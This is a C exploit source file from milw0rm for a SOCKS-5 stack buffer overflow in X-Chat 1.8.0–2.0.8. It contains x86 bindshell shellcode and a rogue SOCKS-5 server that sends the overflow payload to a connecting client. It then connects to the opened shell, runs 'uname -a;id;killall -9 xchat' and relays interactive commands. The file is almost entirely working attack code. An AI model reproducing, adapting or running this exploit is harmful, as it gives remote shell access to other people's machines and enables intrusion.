// XChat 1.8.0/2.0.8 socks5 Remote Buffer overflow Exploit

/*[ X-Chat[v1.8.0 - v2.0.8]: socks-5 remote buffer overflow exploit. ]                         *
 *                                                                                                                        *
 * by: vade79/v9 v9 fakehalo deadpig org (fakehalo/realhalo)                                   *
 *                                                                                                                        *
 * X-Chat homepage:                                                                                            *
 *  http://www.xchat.org                                                                                         *
 *                                                                                                                        *
 * compile:                                                                                                           *
 *  cc xxchat-socks5.c -o xxchat-socks5                                                                   *
 *                                                                                                                        *
 * trigger bug/workings(X-Chat socks-5 comminucation):                                           *
 *  0x05,0x00                                                                                                       *
 *  0x05,0x00,0x00,0x03                                                                                       *
 *  0x?? (the size of the following "data", 255MAX(char/int8))                                     *
 *  0x??,0x??,0x?? ... ("data")                                                                                *
 *                                                                                                                        *
 *  ie. "\x05\x00\x05\x00\x00\x03\xffxxxxxxxxxxxxxxxxxxxxxxxxxxxx..."               *
 *                                                                                                                        *
 * the "data", limited by the previous byte, is then copied into a                                 *
 * 10 byte buffer labeled buf[].  the idea is to set the size of                                     *
 * the incoming data to a larger size than expected(ie. 0xff/255MAX),                         *
 * followed by sending that amount of data to exceed the 10 byte                              *
 * buffer boundary and overwrite memory addresses(stack based).                             *
 *                                                                                                                        *
 * the problem with the size limit is that it is defined in one                                        *
 * character(char/int8), making a maximum of up to 255 bytes to be                          *
 * written to buf[].  so, this only leaves about ~100+ nops breathing                           *
 * room per offset.  another problem is that the location of the                                   *
 * shellcode depends on where/what X-Chat has already done.  those                          *
 * two things together make for a very unpractical "in the wild"                                    *
 * exploit scenario.                                                                                                *
 *                                                                                                                        *
 * i just saw several cryptic advisories about this bug, so i figured                                *
 * i would look into it and see exactly what it was.                                                      *
 *                                                                                                                        *
 * if X-Chat attempts to connect to a server(through socks-5)                                     *
 * immediately upon the start of X-Chat("autoconnect") it will make                            *
 * the shellcode location a bit easier to find.  on both source                                      *
 * compiled version 1.8.0(on rh7.1) and mandrake's rpm static binary                         *
 * version 2.0.5(on mdk9.1) an offset of 2600 worked.                                              *
 *                                                                                                                        *
 * note: the first thing that is sent to the bindshell, upon                                           *
 * successful exploitation, is "killall -9 xchat".  this will kill                                          *
 * X-Chat, but still keep the bindshell alive/active.  when searching                             *
 * for the correct offset, use increments of 100(100,200,300,...).                                *
 **********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 255
#define BSEADDR 0xbffffffa
#define DFLPORT 1080
#define DFLSPRT 7979
#define TIMEOUT 5
static char x86_exec[]= /* bindshell(??), netric based. */
 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
 "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
 "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
 "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
 "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
 "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
 "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
 "\x80";
char *getcode(unsigned int);
char *socks5_bind(unsigned short,unsigned int);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
 unsigned short port=DFLPORT,sport=DFLSPRT;
 unsigned int retaddr=BSEADDR;
 char *hostptr;
 if(BUFSIZE<0||BUFSIZE>255)printe("BUFSIZE must be 1-255(char/int8).",1);
 printf("[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exp"
 "loit.\n[*] by: by: vade79/v9 v9 fakehalo deadpig org (fakehalo)\n\n");
 if(argc<2){
  printf("[!] syntax: %s <offset from 0x%.8x> [port] [shell port]\n\n",
  argv[0],BSEADDR);
  exit(1);
 }
 if(argc>1)retaddr-=atoi(argv[1]);
 if(argc>2)port=atoi(argv[2]);
 if(argc>3)sport=atoi(argv[3]);
 x86_exec[20]=(sport&0xff00)>>8;
 x86_exec[21]=(sport&0x00ff);
 printf("[*] eip: 0x%.8x, socks-5 port: %u, bindshell port: %u.\n",
 retaddr,port,sport);
 hostptr=socks5_bind(port,retaddr);
 sleep(1);
 getshell(hostptr,sport);
 exit(0);
}
char *getcode(unsigned int retaddr){
 unsigned char i=0;
 char *buf;
 if(!(buf=(char *)malloc(BUFSIZE+1)))
  printe("getcode(): allocating memory failed.",1);
 memset(buf,0x90,BUFSIZE);
 for(i=0;i<64;i+=4){*(long *)&buf[i]=retaddr;}
 memcpy((buf+BUFSIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
 return(buf);
}
char *socks5_bind(unsigned short port,unsigned int retaddr){
 int ssock=0,sock=0,so=1;
 socklen_t salen=0;
 unsigned char *buf;
 struct sockaddr_in ssa,sa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 printf("[*] awaiting connection from: *:%d.\n",port);
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 listen(ssock,2);
 bzero((char*)&sa,sizeof(struct sockaddr_in));
 salen=sizeof(sa);
 sock=accept(ssock,(struct sockaddr *)&sa,&salen);
 close(ssock);
 printf("[*] socks-5 server connection established.\n");
 if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1)))
  printe("socks5_bind(): allocating memory failed.",1);
 memcpy(buf,"\x05\x00\x05\x00\x00\x03",6);
 buf[6]=BUFSIZE;
 memcpy(buf+7,getcode(retaddr),BUFSIZE);
 printf("[*] sending specially crafted string. (exploit)\n");
 write(sock,buf,BUFSIZE+7);
 free(buf);
 sleep(1);
 close(sock);
 printf("[*] socks-5 server connection closed.\n");
 return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
 int sock,r;
 fd_set fds;
 char buf[4096+1];
 struct hostent *he;
 struct sockaddr_in sa;
 printf("[*] checking to see if the exploit was successful.\n");
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell(): socket() failed.",1);
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
 }
 sa.sin_port=htons(port);
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  return;
 }
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id ;killall -9 xchat\n",30);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
 }
 close(sock);
 return;
}
void printe(char *err,short e){
 printf("[!] %s\n",err);
 if(e)exit(1);
 return;
}


// milw0rm.com [2004-05-05]
